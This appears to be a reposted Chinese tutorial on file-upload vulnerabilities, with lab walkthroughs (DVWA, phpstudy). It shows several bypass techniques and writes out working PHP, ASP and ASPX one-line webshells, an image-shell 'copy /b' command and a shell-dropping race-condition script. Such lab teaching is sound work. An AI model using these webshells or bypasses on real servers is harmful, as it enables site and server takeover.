文件上傳(詳解)


0X00-引言


欲速則不達,快就是慢,慢就是快

唉,親愛的小妹妹,請你不要不要哭泣,哦,不要不要悲傷,哦,不要不要哭泣

靶場介紹:

phpstudy + ms08067web安全攻防的靶場

0X01-文件上傳簡介


文件上傳,顧名思義就是上傳文件的功能行為,之所以會被發展為危害嚴重的漏洞,是程序沒有對訪客提交的數據進行檢驗或者過濾不嚴,可以直接提交修改過的數據繞過擴展名的檢驗。文件上傳漏洞是漏洞中最為簡單猖獗的利用形式,一般只要能上傳獲取地址,可執行文件被解析就可以獲取系統WebShell。

惡意文件傳遞給解釋器去執行,之后就可以在服務器上執行惡意代碼,進行數據庫執行、服務器文件管理,服務器命令執行等惡意操作。根據網站使用及可解析的程序腳本不同,可以上傳的惡意腳本可以是

PHP、ASP、JSP、ASPX文件。

0X02-為什么存在文件上傳及危害


服務端代碼未對客戶端上傳的文件進行嚴格的驗證和過濾,就容易造成上傳任意文件的情況。

危害:

非法用戶上傳惡意腳本控制整個網站甚至控制服務器,這個惡意的腳本文件又稱為webshell,webshell具有非常強大的功能,可以查看服務器目錄,服務器中的文件,執行系統命令,甚至為所欲為,操縱一切。shell在手,天下我有。

0X03-文件上傳繞過的姿勢


01-前端JS檢測繞過

js檢測繞過是在客戶端瀏覽器使用JS對數據包進行檢測,並沒有發送到服務器

打開靶場測試一番

打開burp-上傳PHP文件-此時以彈出禁止上傳PHP文件的命令,且burp也沒有抓到包

image-20220110023622010

在檢查前端頁面中-我們發現如果上傳的不是jpg文件,那么瀏覽器就會彈窗報錯

image-20220110024039847

繞過思路-更改文件格式為jpg-burp抓包再改php-繞過前端檢測

image-20220110024252251

image-20220110024416707

image-20220110024507500

蟻劍連接成功

image-20220110024701923

02-js檢測繞過分析

前面分析過前端代碼看到在js中對文件后綴名進行限制

看一下后端的代碼

image-20220110025233081

可以看到后端php用file_exists判斷文件是否存在,如果不存在就使用move_uploaded_file函數將文件保存在upload的文件夾下面。由此可知,后端代碼對上傳的文件沒有限制,只要突破前端的限制就可上傳webshell。

03-文件后綴繞過

在Apache解析順序中,是從右往左開始解析文件后綴的,如果文件名不可識別則往左開始判斷,知道可以解析,這也是Apache解析漏洞之一。

測試文件后綴繞過,我們需要在phpstudy的Apache中的httpd.conf配置文件中開啟

AddType application/x-httpd-php .php .phtml使其可以解析PHP和phtml文件

更新配置文件之后需要重啟phpstudy

image-20220110032411982

上傳文件

image-20220110032546610

蟻劍連接

image-20220110032622220

04-文件后綴繞過分析

后端通過pathinfo獲取后綴名,且只添加了一個限制就是后綴名不允許為php,我們知道apache解析從右往左,構造奇特后綴繞過

image-20220110033319096

05-文件類型繞過攻擊
01-Content-Type值繞過

后端對數據包中Content-Type的字段值進行校驗,通過burp修改Content-Type的值進行繞過

如果上傳jpg文件時Content-Type的值為image/jpeg

上傳php文件Content-Type的值為application/octet-stream

上傳抓包-burp修改字段-蟻劍連接

image-20220110034717424

image-20220110034819387

02-繞過getimagesize()函數(制作圖片馬)

制作圖片馬

image-20220110040933553

image-20220110045620241

上傳

image-20220110045745235

06-文件類型繞過分析

后端對Content-Type的值進行校驗,分析代碼可知后端白名單中只有圖片的類型

image-20220110035852598

圖片馬繞過代碼分析

PHP函數getimagesize()可以獲取圖片的寬和高,如果不是圖片,getimagesize()則獲取不到信息,不允許上傳

image-20220110043332320

07-文件截斷繞過(%00截斷)

截斷類型:PHP%00截斷

截斷原理:00代表結束符,會把00后面的所有字符刪除

截斷條件:PHP版本小於5.3.4,PHP的magic_quotes_gpc為OFF狀態

打開靶場-上傳文件-生成的文件為自命名加時間戳

image-20220110050659261

image-20220110050721664

burp抓包添加00截斷

image-20220110050927589

此時服務器會生成wc.php文件-自命名后面的內容被截斷

image-20220110051007200

蟻劍連接

image-20220110051201269

08-文件截斷繞過分析

上傳文件到服務器,%00會截斷后面的內容。在代碼中保存路徑中有$_REQUEST['jieduan'],在此處可以利用00截斷嘗試繞過服務端限制

image-20220110051425783

08-條件競爭繞過

某些網站先允許上傳文件,之后再檢查上傳文件的內容,若存在后門,則刪除。

先上傳,再刪除意味着存在一個時間差。如果在上傳的文件內寫入可以在同目錄下生成的后門文件的代碼。在這個時間差內去讓它生成一個新的后門文件。

<?php
$file = fopen("shell.php","w");
fputs($file,"<?php phpinfo();?>");
fclose($file);
?>

上傳之后訪問該文件

image-20220110054317970

訪問-該文件-同目錄下會生成另一個文件

image-20220110054832951

訪問生成的新文件-成功

image-20220110054904310

08-條件競爭繞過分析

靶場中的代碼寫明讓程序睡眠10S,然后執行。

意思是在程序檢測到惡意文件之前訪問上傳的文件去生成一個新的惡意文件,這樣就能繞過代碼的限制。這里有個思考,是不是需要免殺技術?

image-20220110055537145

09-其他文件上傳繞過方式
  • 文件頭繞過

    常見的文件頭標志如下:
    JPEG (jpg),文件頭: FFD8FF
    PNG (png),文件頭: 89504E47
    GIF (gif),文件頭: 47494638
    HTML (html),文件頭: 68746D6C3E
    ZIP Archive (zip),文件頭: 504B0304
    RAR Archive (rar),文件頭: 52617221
    Adobe Acrobat (pdf),文件頭: 255044462D312E
    MS Word/Excel (xls.or.doc),文件頭: D0CF11E0
    
  • 大小寫繞過

    str_replace大小寫敏感

  • 雙寫繞過

0X04-文件上傳修復建議


  • 通過白名單的方式判斷文件后綴是否合法
  • 對上傳文件進行重命名

0X05-解析漏洞


01-IIS解析漏洞
  • 當建立*.asa,*.asp格式的文件夾時,其目錄下的任意文件都將被IIS當做asp文件來解析
  • 當文件為*.asp;1.jpg時,IIS同樣會以ASP腳本來執行
02-Apache解析漏洞
  • Apache解析文件時,當碰到不認識的擴展名,將會從后往前解析,知道碰到認識的擴展名為止,如果都不認識,則會暴露其源代碼。Apache安裝目錄下"/conf/mime.type"有其可以識別的擴展名列表
03-PHP CGI解析漏洞
  • 在PHP的配置文件中有一個關鍵的選項: cgifi: x_ pathinfo。 這個選項在某些版本中默認是開啟的,在開啟時訪問URL,比如: ht://w.xxer.com/x.txphp, x.php 是不存在的文件,所以PHP將會向前遞歸解析,於是造成了解析漏洞,可以說此漏洞與Nginx關系並不是很大,但由於Nginx與PHP配合很容易造成這種解析漏洞,所以PHPCGI漏洞常常被認為是Nginx解析漏洞。

0X06-常見木馬制作


一、小馬

一句話木馬也稱為小馬,即整個shell代碼量只有一行,一般為系統執行函數

PHP:  <?php @eval($_POST['SHELL']);?>
<?php eval($_REQUEST['shell']);?>
<?php system($_REQUEST['shell']);?>
<script language="php">@eval_r($_POST[shell])</script>

ASP:  <%eval request("shell")%>

ASP.NET: <%@ Page Language="Jscipt"%><%eval(Request.Item["shell"],"unsafe");%>
二、大馬

代碼量和功能比小馬多,一般會進入二次編碼加密,防止被防火牆/入侵系統檢測到

三、圖片馬

一般直接上傳木馬文件都會被過濾攔截,這時候就需要用到圖片馬

copy 圖片.jpg/b + 木馬.php/a 木馬.jpg 
/b 表示以二進制方式打開 
/a 表示以ASCII方式打

注意:要放在同一目錄下,在目錄里面敲CMD
四、原理

以PHP的一句話木馬為例,利用PHP的eval函數,將傳入的語句作為PHP語句執行。該木馬以POST方式傳參,eval語句將參數以PHP語句執行,shell為變量,接收語句,用工具連接的時候稱之為密碼。

連接工具:菜刀,蟻劍,冰蠍等等。

0X07-DVWA文件上傳


一、low

image-20210929213343139

沒有任何過濾,直接上傳文件

可以上傳文件-文件可以被執行-知道文件上傳路徑-為所欲為

上傳木馬文件

image-20210929213553378

成功-蟻劍連接

image-20210929213801819

成功連接

二、mediun

image-20210929214719248

上傳PHP文件類型的木馬會報錯

后綴改成png/jpg格式

上傳抓包

image-20210929215436583

放包

image-20210929215547288

網站目錄下會出現shell.php,上傳的是shell.png,在抓到的包里面修改

蟻劍連接,為所欲為

00截斷繞過:

image-20210930200315112

木馬文件修改為如圖模式

上傳-在.php處點擊空格-在選中空格

image-20210930200935568

20改為00-點擊apply change應用

image-20210930201032045

發送

image-20210930201142430

此時網站根目錄下會出現shell.php文件

蟻劍連接-為所欲為

與文件包含一起應用:

上傳shell.php.png文件

image-20210930201454231

image-20210930201525143

網站根目錄會出現shell.php.png圖片

蟻劍連接

image-20210930201803767

添加-瀏覽網站添加cookie(文件包含那一篇有)-連接成功-為所欲為

image-20210930202051594


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM